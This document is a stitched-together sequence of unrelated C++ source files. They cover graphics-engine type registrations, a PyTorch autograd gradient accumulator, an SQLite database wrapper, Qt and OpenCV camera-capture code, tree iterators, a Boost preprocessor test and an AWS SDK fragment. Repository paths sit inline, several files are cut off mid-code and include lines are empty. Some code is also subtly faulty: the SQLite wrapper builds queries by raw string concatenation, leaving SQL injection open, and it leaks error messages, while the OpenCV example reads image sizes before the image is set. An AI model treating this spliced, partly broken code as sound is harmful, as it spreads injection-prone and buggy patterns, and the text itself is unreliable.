VSG_REGISTER_new(vsg::vec4Array); VSG_REGISTER_new(vsg::dvec2Array); VSG_REGISTER_new(vsg::dvec3Array); VSG_REGISTER_new(vsg::dvec4Array); VSG_REGISTER_new(vsg::bvec2Array); VSG_REGISTER_new(vsg::bvec3Array); VSG_REGISTER_new(vsg::bvec4Array); VSG_REGISTER_new(vsg::ubvec2Array); VSG_REGISTER_new(vsg::ubvec3Array); VSG_REGISTER_new(vsg::ubvec4Array); VSG_REGISTER_new(vsg::svec2Array); VSG_REGISTER_new(vsg::svec3Array); VSG_REGISTER_new(vsg::svec4Array); VSG_REGISTER_new(vsg::usvec2Array); VSG_REGISTER_new(vsg::usvec3Array); VSG_REGISTER_new(vsg::usvec4Array); VSG_REGISTER_new(vsg::ivec2Array); VSG_REGISTER_new(vsg::ivec3Array); VSG_REGISTER_new(vsg::ivec4Array); VSG_REGISTER_new(vsg::uivec2Array); VSG_REGISTER_new(vsg::uivec3Array); VSG_REGISTER_new(vsg::uivec4Array); VSG_REGISTER_new(vsg::mat4Array); VSG_REGISTER_new(vsg::dmat4Array); VSG_REGISTER_new(vsg::block64Array); VSG_REGISTER_new(vsg::block128Array); VSG_REGISTER_new(vsg::materialArray); VSG_REGISTER_new(vsg::DrawIndirectCommandArray); // array2Ds VSG_REGISTER_new(vsg::byteArray2D); VSG_REGISTER_new(vsg::ubyteArray2D); VSG_REGISTER_new(vsg::shortArray2D); VSG_REGISTER_new(vsg::ushortArray2D); VSG_REGISTER_new(vsg::intArray2D); VSG_REGISTER_new(vsg::uintArray2D); VSG_REGISTER_new(vsg::floatArray2D); VSG_REGISTER_new(vsg::doubleArray2D); VSG_REGISTER_new(vsg::vec2Array2D); VSG_REGISTER_new(vsg::vec3Array2D); VSG_REGISTER_new(vsg::vec4Array2D); VSG_REGISTER_new(vsg::dvec2Array2D); VSG_REGISTER_new(vsg::dvec3Array2D); VSG_REGISTER_new(vsg::dvec4Array2D); VSG_REGISTER_new(vsg::bvec2Array2D); VSG_REGISTER_new(vsg::bvec3Array2D); VSG_REGISTER_new(vsg::bvec4Array2D); VSG_REGISTER_new(vsg::ubvec2Array2D); VSG_REGISTER_new(vsg::ubvec3Array2D); VSG_REGISTER_new(vsg::ubvec4Array2D); VSG_REGISTER_new(vsg::svec2Array2D); VSG_REGISTER_new(vsg::svec3Array2D); VSG_REGISTER_new(vsg::svec4Array2D); VSG_REGISTER_new(vsg::usvec2Array2D); VSG_REGISTER_new(vsg::usvec3Array2D); VSG_REGISTER_new(vsg::usvec4Array2D); VSG_REGISTER_new(vsg::ivec2Array2D); VSG_REGISTER_new(vsg::ivec3Array2D); VSG_REGISTER_new(vsg::ivec4Array2D); VSG_REGISTER_new(vsg::uivec2Array2D); VSG_REGISTER_new(vsg::uivec3Array2D); VSG_REGISTER_new(vsg::uivec4Array2D); VSG_REGISTER_new(vsg::block64Array2D); VSG_REGISTER_new(vsg::block128Array2D); // array3Ds VSG_REGISTER_new(vsg::byteArray3D); VSG_REGISTER_new(vsg::ubyteArray3D); VSG_REGISTER_new(vsg::shortArray3D); VSG_REGISTER_new(vsg::ushortArray3D); VSG_REGISTER_new(vsg::intArray3D); VSG_REGISTER_new(vsg::uintArray3D); VSG_REGISTER_new(vsg::floatArray3D); VSG_REGISTER_new(vsg::doubleArray3D); VSG_REGISTER_new(vsg::vec2Array3D); VSG_REGISTER_new(vsg::vec3Array3D); VSG_REGISTER_new(vsg::vec4Array3D); VSG_REGISTER_new(vsg::dvec2Array3D); VSG_REGISTER_new(vsg::dvec3Array3D); VSG_REGISTER_new(vsg::dvec4Array3D); VSG_REGISTER_new(vsg::ubvec2Array3D); VSG_REGISTER_new(vsg::ubvec3Array3D); VSG_REGISTER_new(vsg::ubvec4Array3D); VSG_REGISTER_new(vsg::block64Array3D); VSG_REGISTER_new(vsg::block128Array3D); // nodes VSG_REGISTER_create(vsg::Node); VSG_REGISTER_create(vsg::Commands); VSG_REGISTER_create(vsg::Group); VSG_REGISTER_create(vsg::QuadGroup); VSG_REGISTER_create(vsg::StateGroup); VSG_REGISTER_create(vsg::CullGroup); VSG_REGISTER_create(vsg::CullNode); VSG_REGISTER_create(vsg::LOD); VSG_REGISTER_create(vsg::PagedLOD); VSG_REGISTER_create(vsg::MatrixTransform); VSG_REGISTER_create(vsg::Geometry); VSG_REGISTER_create(vsg::VertexIndexDraw); // vulkan objects VSG_REGISTER_create(vsg::BindGraphicsPipeline); VSG_REGISTER_create(vsg::PipelineLayout); VSG_REGISTER_create(vsg::GraphicsPipeline); VSG_REGISTER_create(vsg::BindComputePipeline); VSG_REGISTER_create(vsg::ComputePipeline); VSG_REGISTER_create(vsg::ShaderStage); VSG_REGISTER_create(vsg::ShaderModule); VSG_REGISTER_create(vsg::VertexInputState); VSG_REGISTER_create(vsg::InputAssemblyState); VSG_REGISTER_create(vsg::TessellationState); VSG_REGISTER_create(vsg::RasterizationState); VSG_REGISTER_create(vsg::MultisampleState); VSG_REGISTER_create(vsg::ColorBlendState); VSG_REGISTER_create(vsg::ViewportState); VSG_REGISTER_create(vsg::MultisampleState); VSG_REGISTER_create(vsg::DepthStencilState); VSG_REGISTER_create(vsg::ColorBlendState); VSG_REGISTER_create(vsg::DynamicState); VSG_REGISTER_create(vsg::Dispatch); VSG_REGISTER_create(vsg::BindDescriptorSets); VSG_REGISTER_create(vsg::BindDescriptorSet); VSG_REGISTER_create(vsg::BindVertexBuffers); VSG_REGISTER_create(vsg::BindIndexBuffer); VSG_REGISTER_create(vsg::DescriptorSet); VSG_REGISTER_create(vsg::DescriptorSetLayout); VSG_REGISTER_create(vsg::DescriptorImage); VSG_REGISTER_create(vsg::DescriptorBuffer); VSG_REGISTER_create(vsg::Sampler); VSG_REGISTER_create(vsg::PushConstants); VSG_REGISTER_create(vsg::ResourceHints); // commands VSG_REGISTER_create(vsg::Draw); VSG_REGISTER_create(vsg::DrawIndirect); VSG_REGISTER_create(vsg::DrawIndexed); VSG_REGISTER_create(vsg::DrawIndexedIndirect); VSG_REGISTER_create(vsg::CopyImage); VSG_REGISTER_create(vsg::BlitImage); // text VSG_REGISTER_create(vsg::GlyphMetricsArray); VSG_REGISTER_create(vsg::Font); VSG_REGISTER_create(vsg::Text); VSG_REGISTER_create(vsg::StandardLayout); VSG_REGISTER_create(vsg::CpuLayoutTechnique); VSG_REGISTER_create(vsg::GpuLayoutTechnique); // ui VSG_REGISTER_create(vsg::UIEvent); VSG_REGISTER_create(vsg::TerminateEvent); VSG_REGISTER_create(vsg::FrameStamp); VSG_REGISTER_create(vsg::FrameEvent); VSG_REGISTER_create(vsg::PointerEvent); VSG_REGISTER_create(vsg::ButtonPressEvent); VSG_REGISTER_create(vsg::ButtonReleaseEvent); VSG_REGISTER_create(vsg::MoveEvent); VSG_REGISTER_create(vsg::TouchEvent); VSG_REGISTER_create(vsg::TouchDownEvent); VSG_REGISTER_create(vsg::TouchUpEvent); VSG_REGISTER_create(vsg::TouchMoveEvent); VSG_REGISTER_create(vsg::ScrollWheelEvent); VSG_REGISTER_create(vsg::WindowEvent); VSG_REGISTER_create(vsg::ExposeWindowEvent); VSG_REGISTER_create(vsg::ConfigureWindowEvent); VSG_REGISTER_create(vsg::CloseWindowEvent); VSG_REGISTER_create(vsg::KeyEvent); VSG_REGISTER_create(vsg::KeyPressEvent); VSG_REGISTER_create(vsg::KeyReleaseEvent); // application VSG_REGISTER_create(vsg::EllipsoidModel); } ObjectFactory::~ObjectFactory() { } vsg::ref_ptr ObjectFactory::create(const std::string& className) { if (auto itr = _createMap.find(className); itr != _createMap.end()) { //std::cout << "Using _createMap for " << className << std::endl; return (itr->second)(); } //std::cout << "Warning: ObjectFactory::create(" << className << ") failed to find means to create object" << std::endl; return vsg::ref_ptr(); } UmaTaru/run0 #include "accumulate_grad.h" #include "torch/csrc/autograd/variable.h" #include "torch/csrc/autograd/functions/basic_ops.h" #include "torch/csrc/autograd/functions/tensor.h" #include "torch/csrc/autograd/functions/utils.h" #include "torch/csrc/utils/auto_gpu.h" namespace torch { namespace autograd { AccumulateGrad::AccumulateGrad(std::shared_ptr _variable) : variable(_variable) , variable_grad(_variable->grad) { is_executable = _variable->requires_grad; num_inputs = 1; } auto AccumulateGrad::acc_inplace(std::shared_ptr& grad, std::shared_ptr& new_grad) -> void { auto& grad_data = grad->data; auto& new_grad_data = new_grad->data; AutoGPU guard(grad_data->getDevice()); // The grad may need a promotion from a sparse to dense type if (grad_data->isSparse() && !new_grad_data->isSparse()) { std::unique_ptr result = new_grad_data->newTensor(); result->cadd(*new_grad_data, *grad_data); grad->data = std::move(result); } else { grad_data->cadd(*grad_data, *new_grad_data); } } auto AccumulateGrad::apply(const variable_list& grads) -> variable_list { // XXX: this method is not thread-safe! if (grads.size() != 1) throw std::runtime_error("AccumulateGrad expects exactly 1 input"); auto var = variable.lock(); auto new_grad = grads[0]; // It's possible that the Variable went out of scope and was freed. // We still need to handle the unlikely case of someohe holding to its grad. if (!var) { auto var_grad = variable_grad.lock(); // Everything was freed. Nothing to do. if (!var_grad) return variable_list(); // Now here's the hard part. If both the new_grad and var_grad are volatile // then we just acumulate the data in place (as we'd do if the Variable was // alive). Otherwise, we'd need to perform the out-of-place reduction, but // since the user only holds a reference to .grad and there's no way to // give him the new Value, we just assume that they know these attributes // are changing when using higher order graphs. if (!var_grad->is_volatile || !new_grad->is_volatile) return variable_list(); acc_inplace(var_grad, new_grad); return variable_list(); } if (var->grad_fn) throw std::logic_error("leaf variable has been moved into the graph interior"); if (**var->version_counter != 0) throw std::runtime_error("leaf variable was used in an inplace operation"); if (var->get_grad_accumulator().get() != this) throw std::logic_error("AccumulateGrad's variable is not bound to it"); for (auto& hook : var->hooks) { new_grad = (*hook)({new_grad})[0]; } if (!var->grad) { auto clone_fn = std::make_shared(); var->grad = clone_fn->apply({new_grad})[0]; variable_grad = var->grad; // We need to update our reference // This case is not strictly necessary, but it makes the first-order only case // slightly more efficient and, what's more important, more predictable for // the users. Thanks to this case we can avoid changing the grad tensor, // a thing never promised and documented, but used in some hacks seen // on the internet. } else if (var->grad->is_volatile) { acc_inplace(var->grad, new_grad); } else { auto add_fn = std::make_shared(); // Once the grad becomes not volatile, it should stay like that if (!var->grad->is_volatile && new_grad->is_volatile) { new_grad = std::make_shared( std::unique_ptr(new_grad->data->clone_shallow()), false, false); } var->grad = add_fn->apply({var->grad, new_grad})[0]; } return variable_list(); }; }} // namespace torch::autograd solutions/cracking the coding interview/chapter 1/1.4-PalindromePermutation.cpp1-10 #include using namespace std; bool palindrome_permutation_bit(string s) { // space O(1) time O(n) int x[28]={0} , bitVector = 0 ; for(int i = 0 ; i - All Rights Reserved #include #include #include #include #include #include namespace { constexpr char TAG[] = "Database"; bool is_number(const std::string& s) { return !s.empty() && std::find_if(s.begin(), s.end(), [](const char c) { return !std::isdigit(c); }) == s.end(); } } namespace gdk::resources { Database::Data::Data(const Database::Data::integer_type &value) : m_Type(Type::Integer) { m_Value.v_Integer = value; } Database::Data::Data(const Database::Data::real_type &value) : m_Type(Type::Real) { m_Value.v_Real = value; } Database::Data::Data(const Database::Data::text_type &value) : m_Type(Type::Text) { m_Value.v_Text = value; } Database::Data::Data(const Database::Data::blob_type &value) : m_Type(Type::Blob) { m_Value.v_Blob = value; } Database::Data::integer_type Database::Data::getInteger() const { return m_Value.v_Integer; } Database::Data::real_type Database::Data::getReal() const { return m_Value.v_Real; } Database::Data::text_type Database::Data::getText() const { return m_Value.v_Text; } Database::Data::blob_type Database::Data::getBlob() const { return m_Value.v_Blob; } std::string Database::Data::TypeToSQLiteTypeString(const Data::Type &aType) { std::string rval; switch (aType) { case Data::Type::Integer: rval = "INT"; break; case Data::Type::Real: rval = "REAL"; break; case Data::Type::Text: rval = "TEXT"; break; case Data::Type::Blob: rval = "BLOB"; break; } return rval; } Database::Data::Type Database::Data::SQLiteTypeStringToType(const std::string &aSQLTypeString) { if (aSQLTypeString == "INT") return Data::Type::Integer; if (aSQLTypeString == "REAL") return Data::Type::Real; if (aSQLTypeString == "TEXT") return Data::Type::Text; if (aSQLTypeString == "BLOB") return Data::Type::Blob; throw std::runtime_error(std::string("unsupported SQL type: ").append(aSQLTypeString)); } Database::Data::Type Database::Data::getType() const { return m_Type; } } namespace gdk::resources { Database::Database(const ConstructionMode &aConstructionMode, const ReadMode &aReadMode, const std::string &aPathToDatabase) : m_pDatabase([&]() { //TODO: call "PRAGMA query_only = true;" if in readonly mode The query_only pragma prevents all changes to database files when enabled. resources::PROTECTED::logging_interface::log(TAG, std::string("aConstructionMode and aReadMode are currently ignored!!! a OPEN_OR_CREATE and READWRITE is forced!")); sqlite3 *pDatabase; if (SQLITE_OK == sqlite3_open(aPathToDatabase.c_str(), &pDatabase)) { return (sqlite_db_ptr_type){pDatabase, [](sqlite3 * ptr) { sqlite3_close(ptr); }}; } else throw std::runtime_error(std::string("sqlite could not initialize the database: ").append(sqlite3_errmsg(pDatabase))); }()) { resources::PROTECTED::logging_interface::log(TAG, std::string("sqlite version: ") + sqlite3_libversion()); } bool Database::formats_are_same(const Database::row_format_type &a, const Database::row_format_type &b) { if (a.size() != b.size()) return false; for (size_t i = 0, s = a.size(); i < s; ++i) { if (a[i].first != b[i].first) return false; if (a[i].second != b[i].second) return false; } return true; } // // Reduce code duplication in these overloads // void Database::execute(const std::string &aSQL) { char *err_msg = NULL; if (SQLITE_OK != sqlite3_exec(m_pDatabase.get(), aSQL.c_str(), NULL, 0, &err_msg)) { throw std::runtime_error(std::string("SQLite Error: ").append(err_msg)); sqlite3_free(err_msg); } } void Database::execute(const std::string &aSQL, exec_callback_type aCallback, void *pUserData) { char *err_msg = NULL; if (SQLITE_OK != sqlite3_exec(m_pDatabase.get(), aSQL.c_str(), aCallback, pUserData, &err_msg)) { throw std::runtime_error(std::string("SQLite Error: ").append(err_msg)); sqlite3_free(err_msg); } } Database::row_format_type Database::getTableFormat(const std::string &aTableName) { const int columnCount = [&]() { sqlite3_stmt *pCompiledStatementHandle; if (SQLITE_OK != sqlite3_prepare_v2(m_pDatabase.get(), std::string("SELECT * FROM ").append(aTableName).c_str(), -1, &pCompiledStatementHandle, NULL)) { throw std::string(std::string("SQLite Error: ").append(sqlite3_errmsg(m_pDatabase.get()))); } return sqlite3_column_count(pCompiledStatementHandle); }(); using response_buffer_type = std::queue; response_buffer_type responseBuffer; execute(std::string("PRAGMA table_info(") + aTableName + std::string(")"), [](void *pUserData, int argc, char **argv, char **azColName) { for (int i = 0; i < argc; i++) { if (argv[i]) { std::string currentLine = std::string(argv[i]); if (!is_number(currentLine)) static_cast(pUserData)->push(currentLine); } } return 0; } , &responseBuffer); if (responseBuffer.size() != 2 * columnCount) throw std::runtime_error("cannot determine dabase table type. Response buffer is malformed: " + aTableName); row_format_type format; while(responseBuffer.size() > 0) { format.push_back([&]() { std::pair buffer; buffer.first = responseBuffer.front(); responseBuffer.pop(); buffer.second = Data::SQLiteTypeStringToType(responseBuffer.front()); responseBuffer.pop(); return buffer; }()); } return format; } void Database::createTable(const std::string &aTableName, std::vector> aRowFormat) { std::string sql = "DROP TABLE IF EXISTS " + aTableName + ";CREATE TABLE " + aTableName + "("; for (int i = 0, s = aRowFormat.size(); i < s; ++i) { const auto &item = aRowFormat[i]; sql += item.first + " "; switch (item.second) { case Data::Type::Integer: sql += "INT"; break; case Data::Type::Real: sql += "REAL"; break; case Data::Type::Text: sql += "TEXT"; break; case Data::Type::Blob: sql += "BLOB"; break; default: throw std::runtime_error("this text should be more meaningful"); break; } if (i < s - 1) sql += ", "; } sql += ");"; execute(sql); } std::vector Database::getTableContents(const std::string &aTable) //const { const std::string sqlPrefix = std::string("SELECT * FROM ").append(aTable).append(" LIMIT 1 OFFSET "); /// \brief POD supplies table format to the sql_execute callback /// and provides a place to write the statically typed row data struct UserData { const row_format_type in_RowDataFormat; //!< provides column type info table_data_type out_TableDataBuffer; //!< write area for table data taken from database } userData = { .in_RowDataFormat = getTableFormat(aTable) }; for(int i = 0, s = getNumberOfRows(aTable); i < s; ++i) // for each row in table { //std::cout << "row: " << i << ":\n"; execute(sqlPrefix + std::to_string(i), [](void *vpUserData, int argc, char **argv, char **azColName) { UserData *const pUserData = static_cast(vpUserData); if (argc != pUserData->in_RowDataFormat.size()) throw std::runtime_error(std::string("Row format does not match row format associated with table!")); Database::row_data_type rowDataBuffer; // For each value in row for (int j = 0, t = argc; j < t; ++j) { std::string currentLine = std::string(argv[j]); // This shows that a hashmap view onto the data could be returend: format: map std::cout << "id: " << pUserData->in_RowDataFormat[j].first << ", type: " << Database::Data::TypeToSQLiteTypeString(pUserData->in_RowDataFormat[j].second) << ", val: " << currentLine << std::endl; switch (pUserData->in_RowDataFormat[j].second) { case Data::Type::Integer: { rowDataBuffer.push_back(Database::Data( Data::integer_type(std::stol(currentLine)) )); } break; case Data::Type::Real: { rowDataBuffer.push_back(Database::Data( Data::real_type(std::stod(currentLine)) )); } break; case Data::Type::Text: { rowDataBuffer.push_back(Database::Data( Data::text_type(currentLine) )); } break; case Data::Type::Blob: { /*pUserData->out_TableDataBuffer.push_back(Database::Data( ));*/ throw std::runtime_error("getTableContents does not currently support blob"); } break; } } pUserData->out_TableDataBuffer.push_back(rowDataBuffer); return 0; } , &userData); } return userData.out_TableDataBuffer; } size_t Database::getNumberOfRows(const std::string &aTableName) { size_t numberOfRows; execute(std::string("SELECT Count(*) FROM ").append(aTableName), [](void *pUserData, int argc, char **argv, char **azColName) { if (argc != 1) throw std::runtime_error(std::string("numberOfRows sql response is incorrect.")); std::string currentLine = std::string(argv[0]); *static_cast(pUserData) = std::stoi(currentLine); return 0; } , &numberOfRows); return numberOfRows; } std::vector Database::getTableNames() { std::vector tableNames; execute(std::string("SELECT name FROM sqlite_master WHERE type = \"table\";"), [](void *pUserData, int argc, char **argv, char **azColName) { for (int i = 0; i < argc; i++) static_cast *>(pUserData)->push_back(std::string(argv[i])); return 0; } , &tableNames); return tableNames; } size_t Database::getNumberOfTables() { size_t tableCount; execute(std::string("SELECT Count(*) FROM sqlite_master WHERE type = \"table\";"), [](void *pUserData, int argc, char **argv, char **azColName) { if (argc != 1) throw std::runtime_error("getNumberOfTables response malformed! Expected 1 line in response!"); *static_cast(pUserData) = std::stoul(argv[0]); return 0; } , &tableCount); return tableCount; } void Database::writeToTable(const std::string &aTableName, std::vector aRow) { //Should assert format here... //TODO TODO TODO std::string commandBuffer = "INSERT INTO " + aTableName + " VALUES("; for (int i = 0, s = aRow.size(); i < s; ++i) { const auto &item = aRow[i]; std::string valueBuffer; switch (item.getType()) { case Data::Type::Integer: valueBuffer += std::to_string(item.getInteger()); break; case Data::Type::Real: valueBuffer += std::to_string(item.getReal()); break; case Data::Type::Text: valueBuffer += item.getText(); break; case Data::Type::Blob: throw std::runtime_error("Blob write is unsupported"); } if (item.getType() == Data::Type::Text) valueBuffer.insert(0, "'").append("'"); if (i < s - 1) valueBuffer += ", "; commandBuffer += valueBuffer; } commandBuffer += ");"; execute(commandBuffer); } void Database::writeToTable(const std::string &aTableName, table_data_type aRows) { for (const auto &row : aRows) writeToTable(aTableName, row); } bool Database::doesTableExist(const std::string &aTableName) { bool tableExists; execute(std::string("SELECT name FROM sqlite_master WHERE name = \"").append(aTableName).append("\";"), [](void *pUserData, int argc, char **argv, char **azColName) { switch (argc) { case 0: { *static_cast(pUserData) = false; } break; case 1: { *static_cast(pUserData) = true; } break; default: throw std::runtime_error("doesTableExist sql response malformed! Expected 1 or 0 line response, received n>1"); } return 0; } , &tableExists); return tableExists; } } #include "mainwindow.h" #include "ui_mainwindow.h" bool threadend = false; bool saveData = false; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow), cap(new Capture()) { ui->setupUi(this); cap->moveToThread(&capThread); connect(&capThread,SIGNAL(finished()),cap,SLOT(deleteLater())); connect(&capThread,SIGNAL(started()),cap,SLOT(loop())); connect(cap,SIGNAL(setImage(QImage)),this,SLOT(getImage(QImage))); } MainWindow::~MainWindow() { delete ui; } void MainWindow::on_start_clicked() { if(!capThread.isRunning()) { capThread.start(); } } void MainWindow::on_stop_clicked() { if(capThread.isRunning()) { threadend = true; capThread.quit(); capThread.wait(); } } void MainWindow::on_save_clicked() { saveData = true; } void MainWindow::getImage(QImage img) { QImage& imgshow = img; imgshow.scaled(ui->imgcap->width(),ui->imgcap->height()); ui->imgcap->setPixmap(QPixmap::fromImage(imgshow)); } Course_Lab_2/Assignment1/main.cpp #include #include using namespace cv; using namespace std; int main(){ VideoCapture capture(0); Mat img; double fps, t = 0; char str[10];//String of fps while(1){ //getTickCount():计数设备从开始运行的毫秒 //getTickFrequency():返回每秒的计时周期数 //t:表示代码运行时间,是fps的倒数 t = (double)getTickCount(); Mat frame; if(waitKey(30) == 30){ break; } capture >> frame; if(frame.empty()){ printf("No captured frame!"); } else{ t = ((double)getTickCount() - t) / getTickFrequency(); fps = 1.0/t; sprintf(str, "FPS:%.2f, width:%d, height:%d", fps, img.rows, img.cols); putText(frame, str, Point(100,100), FONT_HERSHEY_SIMPLEX, 0.8, Scalar(255, 255, 255)); //画十字线 line(frame, Point(img.cols*0.618, 0), Point(img.cols*0.618, img.rows), Scalar(255, 255, 255)); //竖直线 line(frame, Point(0, img.rows*0.618), Point(img.cols, img.rows*0.618), Scalar(255, 255, 255)); //横直线 //画圆 circle(frame, Point(img.cols*0.618, img.rows*0.618), 100, Scalar(255, 255, 255)); cvtColor(frame, img, CV_BGR2GRAY); imshow("color", frame); imshow("gray", img); } } return 0; } rimmartin/cctbx_project1-10 template< typename Edge > PreOrder< Edge >::PreOrder(ptr_type const& root, bool at_top) : root_( root ), at_top_( at_top ) { if ( ! root_->empty() ) { pos_ = at_top ? root->begin() : root->end(); } } template< typename Edge > PreOrder< Edge >::~PreOrder() {} template< typename Edge > typename PreOrder< Edge >::iterator& PreOrder< Edge >::operator ++() { if ( at_top_ ) { at_top_ = false; return *this; } if ( ! ( pos_->second )->empty() ) { underlying_iterators_deque_.push_back( pos_ ); pos_ = ( pos_->second )->begin(); } else { ++pos_; while ( !underlying_iterators_deque_.empty() && pos_ == ( ( underlying_iterators_deque_.back() )->second )->end() ) { pos_ = underlying_iterators_deque_.back(); underlying_iterators_deque_.pop_back(); ++pos_; } } return *this; } template< typename Edge > typename PreOrder< Edge >::iterator PreOrder< Edge >::operator ++(int) { iterator old( *this ); ++( *this ); return old; } template< typename Edge > typename PreOrder< Edge >::reference_type PreOrder< Edge >::operator *() { return at_top_ ? root_ : pos_->second; } template< typename Edge > typename PreOrder< Edge >::pointer_type PreOrder< Edge >::operator ->() { return at_top_ ? &root_ : &( pos_->second ); } template< typename Edge > typename PreOrder< Edge >::iterator PreOrder< Edge >::begin(ptr_type const& root) { return iterator( root, true ); } template< typename Edge > typename PreOrder< Edge >::iterator PreOrder< Edge >::end(ptr_type const& root) { return iterator( root, false ); } template< typename Edge > bool operator ==(PreOrder const& lhs, PreOrder const& rhs) { return ( ( lhs.pos_ == rhs.pos_ ) && ( lhs.root_ == rhs.root_ ) && ( lhs.at_top_ == rhs.at_top_ ) ); } template< typename Edge > bool operator !=(PreOrder const& lhs, PreOrder const& rhs) { return ! ( lhs == rhs ); } template< typename Edge > PostOrder< Edge >::PostOrder(ptr_type const& root, bool at_top) : root_( root ) { if ( root_->empty() ) { at_top_ = at_top; } else if ( ! at_top ) { at_top_ = false; pos_ = root_->end(); } else { at_top_ = false; pos_ = root_->begin(); descend(); } } template< typename Edge > PostOrder< Edge >::~PostOrder() {} template< typename Edge > typename PostOrder< Edge >::iterator& PostOrder< Edge >::operator ++() { if ( at_top_ ) { at_top_ = false; return *this; } ++pos_; if ( underlying_iterators_deque_.empty() ) { if ( pos_ == root_->end() ) { at_top_ = true; } else { descend(); } } else { const underlying_iterator& parent = underlying_iterators_deque_.back(); if ( pos_ != ( parent->second )->end() ) { descend(); } else { pos_ = parent; underlying_iterators_deque_.pop_back(); } } return *this; } template< typename Edge > typename PostOrder< Edge >::iterator PostOrder< Edge >::operator ++(int) { iterator old( *this ); ++( *this ); return old; } template< typename Edge > typename PostOrder< Edge >::reference_type PostOrder< Edge >::operator *() { return at_top_ ? root_ : pos_->second; } template< typename Edge > typename PostOrder< Edge >::pointer_type PostOrder< Edge >::operator ->() { return at_top_ ? &root_ : &( pos_->second ); } template< typename Edge > typename PostOrder< Edge >::iterator PostOrder< Edge >::begin(ptr_type const& root) { return iterator( root, true ); } template< typename Edge > typename PostOrder< Edge >::iterator PostOrder< Edge >::end(ptr_type const& root) { return iterator( root, false ); } template< typename Edge > void PostOrder< Edge >::descend() { while ( ! ( pos_->second )->empty() ) { underlying_iterators_deque_.push_back( pos_ ); pos_ = ( pos_->second )->begin(); } } template< typename Edge > bool operator ==(PostOrder const& lhs, PostOrder const& rhs) { return ( ( lhs.pos_ == rhs.pos_ ) && ( lhs.root_ == rhs.root_ ) && ( lhs.at_top_ == rhs.at_top_ ) ); } template< typename Edge > bool operator !=(PostOrder const& lhs, PostOrder const& rhs) { return ! ( lhs == rhs ); } Wultyc/ISEP_1718_2A2S_REDSI_TrabalhoGrupoREDSI_1160929_1161573/boost_1_67_0/libs/vmd/test/test_array_equal.cxx // (C) Copyright 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #include #include #include int main() { #if BOOST_PP_VARIADICS #define BOOST_VMD_REGISTER_aaa (aaa) #define BOOST_VMD_REGISTER_bbb (bbb) #define BOOST_VMD_REGISTER_ccc (ccc) #define BOOST_VMD_REGISTER_ddd (ddd) #define BOOST_VMD_DETECT_aaa_aaa #define BOOST_VMD_DETECT_bbb_bbb #define BOOST_VMD_DETECT_ccc_ccc #define BOOST_VMD_DETECT_ddd_ddd #define ANARRAY (3,(aaa,bbb,38)) #define ANARRAY2 (3,(bbb,aaa,38)) #define ANARRAY3 (3,(bbb,aaa,38)) #define ANARRAY4 (3,(aaa,(aaa,(bbb,(ccc,BOOST_PP_NIL))),(ccc,ddd,(1)(2)))) #define ANARRAY5 (3,(aaa,(aaa,(bbb,(ccc,BOOST_PP_NIL))),(ccc,ddd,(1)(2)))) #define ANARRAY6 (4,(aaa,(aaa,(bbb,(ccc,BOOST_PP_NIL))),(ccc,ddd,(1)(2),37))) #define ATUPLE (aaa) #define ATUPLE2 (aaa) BOOST_TEST(BOOST_VMD_EQUAL(ANARRAY4,ANARRAY5,BOOST_VMD_TYPE_ARRAY)); BOOST_TEST(BOOST_VMD_EQUAL(ANARRAY2,ANARRAY3,BOOST_VMD_TYPE_ARRAY)); BOOST_TEST(BOOST_VMD_NOT_EQUAL(ANARRAY,ANARRAY2,BOOST_VMD_TYPE_ARRAY)); BOOST_TEST(BOOST_VMD_NOT_EQUAL(ANARRAY5,ANARRAY6,BOOST_VMD_TYPE_ARRAY)); BOOST_TEST(BOOST_VMD_NOT_EQUAL(ATUPLE,ATUPLE2,BOOST_VMD_TYPE_ARRAY)); #else BOOST_ERROR("No variadic macro support"); #endif return boost::report_errors(); } #include #include #include #include #include #include #include #include #include #include // clang-format off EZ_BEGIN_DYNAMIC_REFLECTED_TYPE(ezParticleFinalizerFactory_Volume, 1, ezRTTIDefaultAllocator) EZ_END_DYNAMIC_REFLECTED_TYPE; EZ_BEGIN_DYNAMIC_REFLECTED_TYPE(ezParticleFinalizer_Volume, 1, ezRTTIDefaultAllocator) EZ_END_DYNAMIC_REFLECTED_TYPE; // clang-format on ezParticleFinalizerFactory_Volume::ezParticleFinalizerFactory_Volume() = default; ezParticleFinalizerFactory_Volume::~ezParticleFinalizerFactory_Volume() = default; const ezRTTI* ezParticleFinalizerFactory_Volume::GetFinalizerType() const { return ezGetStaticRTTI(); } void ezParticleFinalizerFactory_Volume::CopyFinalizerProperties(ezParticleFinalizer* pObject, bool bFirstTime) const { ezParticleFinalizer_Volume* pFinalizer = static_cast(pObject); } ezParticleFinalizer_Volume::ezParticleFinalizer_Volume() = default; ezParticleFinalizer_Volume::~ezParticleFinalizer_Volume() = default; void ezParticleFinalizer_Volume::CreateRequiredStreams() { CreateStream("Position", ezProcessingStream::DataType::Float4, &m_pStreamPosition, false); m_pStreamSize = nullptr; } void ezParticleFinalizer_Volume::QueryOptionalStreams() { m_pStreamSize = GetOwnerSystem()->QueryStream("Size", ezProcessingStream::DataType::Half); } void ezParticleFinalizer_Volume::Process(ezUInt64 uiNumElements) { if (uiNumElements == 0) return; EZ_PROFILE_SCOPE("PFX: Volume"); const ezSimdVec4f* pPosition = m_pStreamPosition->GetData(); ezSimdBBoxSphere volume; volume.SetFromPoints(pPosition, static_cast(uiNumElements)); float fMaxSize = 0; if (m_pStreamSize != nullptr) { const ezFloat16* pSize = m_pStreamSize->GetData(); ezSimdVec4f vMax; vMax.SetZero(); constexpr ezUInt32 uiElementsPerLoop = 4; for (ezUInt64 i = 0; i < uiNumElements; i += uiElementsPerLoop) { const float x = pSize[i + 0]; const float y = pSize[i + 1]; const float z = pSize[i + 2]; const float w = pSize[i + 3]; vMax = vMax.CompMax(ezSimdVec4f(x, y, z, w)); } for (ezUInt64 i = (uiNumElements / uiElementsPerLoop) * uiElementsPerLoop; i < uiNumElements; ++i) { fMaxSize = ezMath::Max(fMaxSize, (float)pSize[i]); } fMaxSize = ezMath::Max(fMaxSize, (float)vMax.HorizontalMax<4>()); } GetOwnerSystem()->SetBoundingVolume(ezSimdConversion::ToBBoxSphere(volume), fMaxSize); } /** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include #include #include using namespace Aws::RecycleBin::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; ListRulesRequest::ListRulesRequest() : 